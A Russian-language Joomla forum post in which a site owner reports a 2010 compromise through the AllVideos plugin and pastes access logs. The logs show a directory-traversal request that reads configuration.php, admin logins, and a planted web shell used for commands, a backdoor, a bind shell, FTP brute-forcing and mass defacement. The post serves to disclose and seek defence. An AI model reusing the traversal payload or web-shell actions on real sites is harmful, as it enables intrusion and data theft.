Новости Joomla

Вышло обновление JL Like 5.2

Вышло обновление JL Like 5.2

JL Like — современный плагин для Joomla, который добавляет стильные кнопки "Поделиться" и счетчики лайков популярных соцсетей.

Совет по Joomla: использовать выключенное состояние для кнопок в списках элементов админки

Онлайн-трансляции Joomla-разработки Игоря Бердичевского

1   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 3 Ответов
  • 3664 Просмотров
*

61rus

  • Осваиваюсь на форуме
  • 47
  • 1 / 0
Взломали сайт через плагин AllVideos
« : 31.03.2010, 00:29:32 »
Так что у кого стоит версия 3.0 по 3.2  обновите, вот собственно сабж http://www.securitylab.ru/vulnerability/390888.php
Логи ниже, кто порекомендует средства защиты от таких негодяев?
а вот мои логи 83.149.28.230 - - [29/Mar/2010:00:17:03 +0400] "GET /plugins/content/jw_allvideos/includes/download.php?file=images/stories//preludia.flv HTTP/1.0" 200 262144
217.107.219.113 - - [29/Mar/2010:00:17:40 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:00:17:42 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:00:17:42 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:00:17:43 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:00:17:44 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:00:17:44 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:00:17:44 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:00:17:44 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:00:17:45 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:00:17:45 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:00:17:45 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:00:19:29 +0400] "GET /plugins/content/jw_allvideos/includes/download.php?file=images/../configuration.php HTTP/1.0" 200 1819
83.149.28.230 - - [29/Mar/2010:00:19:56 +0400] "GET /administrator HTTP/1.0" 301 244
83.149.28.230 - - [29/Mar/2010:00:19:57 +0400] "GET /administrator/ HTTP/1.0" 200 4690
83.149.28.230 - - [29/Mar/2010:00:19:59 +0400] "GET /administrator/templates/khepri/favicon.ico HTTP/1.0" 200 1150
83.149.28.230 - - [29/Mar/2010:00:20:05 +0400] "POST /administrator/index.php HTTP/1.0" 200 4912
83.149.28.230 - - [29/Mar/2010:00:22:05 +0400] "GET /administrator/index.php HTTP/1.0" 200 4690
83.149.28.230 - - [29/Mar/2010:00:22:26 +0400] "POST /administrator/index.php HTTP/1.0" 200 4912
83.149.28.230 - - [29/Mar/2010:00:22:48 +0400] "POST /administrator/index.php HTTP/1.0" 200 4912
83.149.28.230 - - [29/Mar/2010:00:23:10 +0400] "GET / HTTP/1.0" 200 37605
83.149.28.230 - - [29/Mar/2010:00:23:35 +0400] "GET /templates/yoo_daylight/favicon.ico HTTP/1.0" 200 4662
83.149.28.230 - - [29/Mar/2010:00:23:40 +0400] "GET /includes/show.php HTTP/1.0" 200 26246
83.149.28.230 - - [29/Mar/2010:00:23:41 +0400] "GET /favicon.ico HTTP/1.0" 404 1480
83.149.28.230 - - [29/Mar/2010:00:23:41 +0400] "GET /favicon.ico HTTP/1.0" 404 1480
83.149.28.230 - - [29/Mar/2010:00:23:44 +0400] "GET /favicon.ico HTTP/1.0" 404 1480
217.107.219.113 - - [29/Mar/2010:00:24:07 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:00:24:08 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:00:24:08 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:00:24:08 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:00:24:09 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:00:24:09 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:00:24:09 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:00:24:09 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:00:24:10 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:00:24:10 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:00:24:10 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:00:25:35 +0400] "GET /includes/show.php HTTP/1.0" 200 26246
83.149.28.230 - - [29/Mar/2010:00:25:36 +0400] "GET / HTTP/1.0" 200 37605
83.149.28.230 - - [29/Mar/2010:00:25:40 +0400] "POST /includes/show.php HTTP/1.0" 200 16457
217.107.219.113 - - [29/Mar/2010:00:26:26 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=12&format=raw HTTP/1.0" 200 631
217.107.219.113 - - [29/Mar/2010:00:26:27 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=12&format=raw HTTP/1.0" 200 631
217.107.219.113 - - [29/Mar/2010:00:26:27 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=13&format=raw HTTP/1.0" 200 177451
217.107.219.113 - - [29/Mar/2010:00:26:27 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=13&format=raw HTTP/1.0" 200 177451
83.149.28.230 - - [29/Mar/2010:00:26:51 +0400] "POST /includes/show.php HTTP/1.0" 200 13601
83.149.28.230 - - [29/Mar/2010:00:27:05 +0400] "POST /includes/show.php HTTP/1.0" 200 16457
83.149.28.230 - - [29/Mar/2010:00:28:01 +0400] "POST /includes/show.php HTTP/1.0" 200 13601
83.149.28.230 - - [29/Mar/2010:00:29:03 +0400] "POST /includes/show.php HTTP/1.0" 200 7996
83.149.28.230 - - [29/Mar/2010:00:29:05 +0400] "POST /includes/show.php HTTP/1.0" 200 7996
83.149.28.230 - - [29/Mar/2010:00:29:07 +0400] "POST /includes/show.php HTTP/1.0" 200 7996
83.149.28.230 - - [29/Mar/2010:00:29:08 +0400] "POST /includes/show.php HTTP/1.0" 200 7996
83.149.28.230 - - [29/Mar/2010:00:29:10 +0400] "POST /includes/show.php HTTP/1.0" 200 7996
217.107.219.113 - - [29/Mar/2010:00:29:11 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:00:29:11 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:00:29:11 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
83.149.28.230 - - [29/Mar/2010:00:29:12 +0400] "POST /includes/show.php HTTP/1.0" 200 26246
217.107.219.113 - - [29/Mar/2010:00:29:12 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:00:29:12 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:00:29:13 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:00:29:13 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:00:29:13 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:00:29:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:00:29:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:00:29:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:00:29:28 +0400] "POST /includes/show.php HTTP/1.0" 200 16457
83.149.28.230 - - [29/Mar/2010:00:32:06 +0400] "POST /includes/show.php HTTP/1.0" 200 12201
83.149.28.230 - - [29/Mar/2010:00:32:10 +0400] "POST /includes/show.php HTTP/1.0" 200 16457
217.107.219.113 - - [29/Mar/2010:00:34:55 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:00:34:55 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:00:34:56 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:00:34:56 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:00:34:56 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:00:34:57 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:00:34:57 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:00:34:57 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:00:34:57 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
83.149.28.230 - - [29/Mar/2010:00:34:58 +0400] "POST /includes/show.php HTTP/1.0" 200 26246
217.107.219.113 - - [29/Mar/2010:00:34:58 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:00:34:58 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:00:35:13 +0400] "POST /includes/show.php HTTP/1.0" 200 12607
83.149.28.230 - - [29/Mar/2010:00:35:52 +0400] "POST /includes/show.php HTTP/1.0" 200 27003
83.149.28.230 - - [29/Mar/2010:00:36:00 +0400] "POST /includes/show.php HTTP/1.0" 200 8949
83.149.28.230 - - [29/Mar/2010:00:36:15 +0400] "POST /includes/show.php HTTP/1.0" 200 8949
66.249.71.54 - - [29/Mar/2010:00:37:14 +0400] "GET /nasviazi.html HTTP/1.0" 404 19804
83.149.28.230 - - [29/Mar/2010:00:38:51 +0400] "POST /includes/show.php HTTP/1.0" 200 7121
83.149.28.230 - - [29/Mar/2010:00:38:51 +0400] "POST /includes/show.php HTTP/1.0" 200 8904
83.149.28.230 - - [29/Mar/2010:00:39:10 +0400] "GET /includes/exec.php HTTP/1.0" 200 49208
83.149.28.230 - - [29/Mar/2010:00:39:11 +0400] "GET /includes/exec.php?act=img&img=up HTTP/1.0" 200 199
83.149.28.230 - - [29/Mar/2010:00:39:11 +0400] "GET /includes/exec.php?act=img&img=home HTTP/1.0" 200 209
83.149.28.230 - - [29/Mar/2010:00:39:11 +0400] "GET /includes/exec.php?act=img&img=back HTTP/1.0" 200 119
83.149.28.230 - - [29/Mar/2010:00:39:11 +0400] "GET /includes/exec.php?act=img&img=refresh HTTP/1.0" 200 200
83.149.28.230 - - [29/Mar/2010:00:39:11 +0400] "GET /includes/exec.php?act=img&img=forward HTTP/1.0" 200 119
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=search HTTP/1.0" 200 250
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=buffer HTTP/1.0" 200 163
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=small_dir HTTP/1.0" 200 164
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=sort_asc HTTP/1.0" 200 85
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=ext_lnk HTTP/1.0" 200 572
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=ext_diz HTTP/1.0" 200 1027
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=ext_php HTTP/1.0" 200 79
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=change HTTP/1.0" 200 290
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=download HTTP/1.0" 200 161
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=ext_html HTTP/1.0" 200 230
83.149.28.230 - - [29/Mar/2010:00:39:12 +0400] "GET /includes/exec.php?act=img&img=arrow_ltr HTTP/1.0" 200 88
83.149.28.230 - - [29/Mar/2010:00:39:42 +0400] "GET /includes/exec.php?act=encoder&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 19486
217.107.219.113 - - [29/Mar/2010:00:40:11 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:00:40:12 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:00:40:12 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:00:40:12 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:00:40:13 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:00:40:13 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:00:40:13 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
83.149.28.230 - - [29/Mar/2010:00:40:13 +0400] "GET /includes/exec.php?act=tools&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 18539
217.107.219.113 - - [29/Mar/2010:00:40:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:00:40:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:00:40:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:00:40:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:00:40:25 +0400] "GET /includes/exec.php?act=tools&dolma=wgetcan HTTP/1.0" 200 18539
83.149.28.230 - - [29/Mar/2010:00:42:45 +0400] "POST /includes/exec.php?act=tools&dolma=wgetcan HTTP/1.0" 200 18539
83.149.28.230 - - [29/Mar/2010:00:44:00 +0400] "POST /includes/exec.php?act=tools&dolma=wgetcan HTTP/1.0" 200 18539
83.149.28.230 - - [29/Mar/2010:00:44:13 +0400] "GET /includes/exec.php?act=tools&dolma=lynxcan HTTP/1.0" 200 18539
217.107.219.113 - - [29/Mar/2010:00:45:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:00:45:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:00:45:14 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:00:45:15 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:00:45:15 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:00:45:15 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:00:45:15 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:00:45:16 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:00:45:16 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:00:45:16 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:00:45:16 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:00:45:38 +0400] "GET /includes/exec.php?act=tools&dolma=wgetcan HTTP/1.0" 200 18539
83.149.28.230 - - [29/Mar/2010:00:45:55 +0400] "GET /includes/exec.php?d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&act=zap2&submit=Execute HTTP/1.0" 200 16642
83.149.28.230 - - [29/Mar/2010:00:46:06 +0400] "GET /includes/exec.php?act=tools&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 18539
83.149.28.230 - - [29/Mar/2010:00:46:27 +0400] "POST /includes/exec.php?act=cmd HTTP/1.0" 200 16683
83.149.28.230 - - [29/Mar/2010:00:46:44 +0400] "POST /includes/exec.php?act=cmd HTTP/1.0" 200 16689
83.149.28.230 - - [29/Mar/2010:00:47:22 +0400] "POST /includes/exec.php?act=cmd HTTP/1.0" 200 16772
83.149.28.230 - - [29/Mar/2010:00:47:48 +0400] "POST /includes/exec.php?act=cmd HTTP/1.0" 200 16648
83.149.28.230 - - [29/Mar/2010:00:48:20 +0400] "GET /includes/exec.php?act=processes&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 125779
83.149.28.230 - - [29/Mar/2010:00:49:34 +0400] "GET /includes/exec.php?act=ftpquickbrute&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 16767
83.149.28.230 - - [29/Mar/2010:00:49:39 +0400] "GET /includes/exec.php?act=security&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 23801
217.107.219.113 - - [29/Mar/2010:00:50:17 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:00:50:17 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:00:50:18 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:00:50:18 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:00:50:18 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:00:50:18 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:00:50:18 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:00:50:19 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:00:50:19 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:00:50:19 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:00:50:19 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:00:51:35 +0400] "GET /includes/exec.php?act=sql&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 17528
83.149.28.230 - - [29/Mar/2010:00:51:44 +0400] "GET /includes/exec.php?act=sql&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 17528
83.149.28.230 - - [29/Mar/2010:00:51:48 +0400] "GET /includes/exec.php?act=eval&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 16522
83.149.28.230 - - [29/Mar/2010:00:51:51 +0400] "GET /includes/exec.php?act=phpinfo&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 56443
83.149.28.230 - - [29/Mar/2010:00:52:03 +0400] "GET /includes/exec.php?act=eval&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 16522
83.149.28.230 - - [29/Mar/2010:00:52:12 +0400] "GET /includes/exec.php?act=trojan HTTP/1.0" 200 16445
83.149.28.230 - - [29/Mar/2010:00:52:22 +0400] "GET /includes/exec.php?choosebackdoor=blackhole&act=trojan HTTP/1.0" 200 16829
77.88.25.27 - - [29/Mar/2010:00:52:40 +0400] "GET /index.php?start=24&format=html&Itemid=2&option=com_content&limitstart=42&view=section&layout=blog&id=1 HTTP/1.0" 200 38167
83.149.28.230 - - [29/Mar/2010:00:52:55 +0400] "GET /includes/exec.php?act=shbd HTTP/1.0" 200 16395
83.149.28.230 - - [29/Mar/2010:00:53:10 +0400] "GET /includes/exec.php?act=shbd HTTP/1.0" 200 16395
83.149.28.230 - - [29/Mar/2010:00:53:19 +0400] "POST /includes/exec.php?act=shbd HTTP/1.0" 200 16547
77.88.24.28 - - [29/Mar/2010:00:55:00 +0400] "GET /biografii/biografiya-suvorova-a-i/pechat.html HTTP/1.0" 200 3823
217.107.219.113 - - [29/Mar/2010:00:55:34 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:00:55:35 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:00:55:35 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:00:55:35 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:00:55:36 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:00:55:36 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:00:55:36 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:00:55:37 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:00:55:37 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:00:55:37 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:00:55:37 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:00:55:58 +0400] "GET /includes/exec.php?act=massbrowsersploit HTTP/1.0" 200 16970
83.149.28.230 - - [29/Mar/2010:00:56:35 +0400] "GET /includes/exec.php?masssploit=goahead&act=massbrowsersploit&pathtomass=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes&injectthis=%3Ch1%3E%CD%C0%D5%D3%C9+%D0%CE%D1%D2%CE%C2%3C%2Fh1%3E HTTP/1.0" 200 18708
83.149.28.230 - - [29/Mar/2010:00:57:03 +0400] "GET / HTTP/1.0" 200 156
83.149.28.230 - - [29/Mar/2010:00:57:46 +0400] "GET /includes/exec.php?act=ls&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&sort=0a HTTP/1.0" 200 54566
83.149.28.230 - - [29/Mar/2010:00:57:47 +0400] "GET /includes/exec.php?act=img&img=ext_apache HTTP/1.0" 200 1034
83.149.28.230 - - [29/Mar/2010:00:57:47 +0400] "GET /includes/exec.php?act=img&img=ext_back HTTP/1.0" 200 1034
83.149.28.230 - - [29/Mar/2010:00:57:47 +0400] "GET /includes/exec.php?act=img&img=ext_shbd HTTP/1.0" 200 1034
83.149.28.230 - - [29/Mar/2010:00:57:47 +0400] "GET /includes/exec.php?act=img&img=ext_sayko_bind HTTP/1.0" 200 1034
83.149.28.230 - - [29/Mar/2010:00:57:47 +0400] "GET /includes/exec.php?act=img&img=ext_zap2 HTTP/1.0" 200 1034
83.149.28.230 - - [29/Mar/2010:00:58:01 +0400] "GET /includes/exec.php?act=f&f=defines.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 27153
83.149.28.230 - - [29/Mar/2010:00:58:02 +0400] "GET /includes/exec.php?act=img&img=ext_exe HTTP/1.0" 200 118
83.149.28.230 - - [29/Mar/2010:00:58:02 +0400] "GET /includes/exec.php?act=img&img=ext_gif HTTP/1.0" 200 175
83.149.28.230 - - [29/Mar/2010:00:58:02 +0400] "GET /includes/exec.php?act=img&img=ext_txt HTTP/1.0" 200 132
83.149.28.230 - - [29/Mar/2010:00:58:02 +0400] "GET /includes/exec.php?act=img&img=ext_rtf HTTP/1.0" 200 164
83.149.28.230 - - [29/Mar/2010:00:58:02 +0400] "GET /includes/exec.php?act=img&img=ext_ini HTTP/1.0" 200 134
83.149.28.230 - - [29/Mar/2010:00:58:22 +0400] "GET /includes/exec.php?act=f&f=defines.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 21761
83.149.28.230 - - [29/Mar/2010:00:58:31 +0400] "POST /includes/exec.php?act=f&f=defines.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 21776
83.149.28.230 - - [29/Mar/2010:00:58:38 +0400] "GET / HTTP/1.0" 200 182
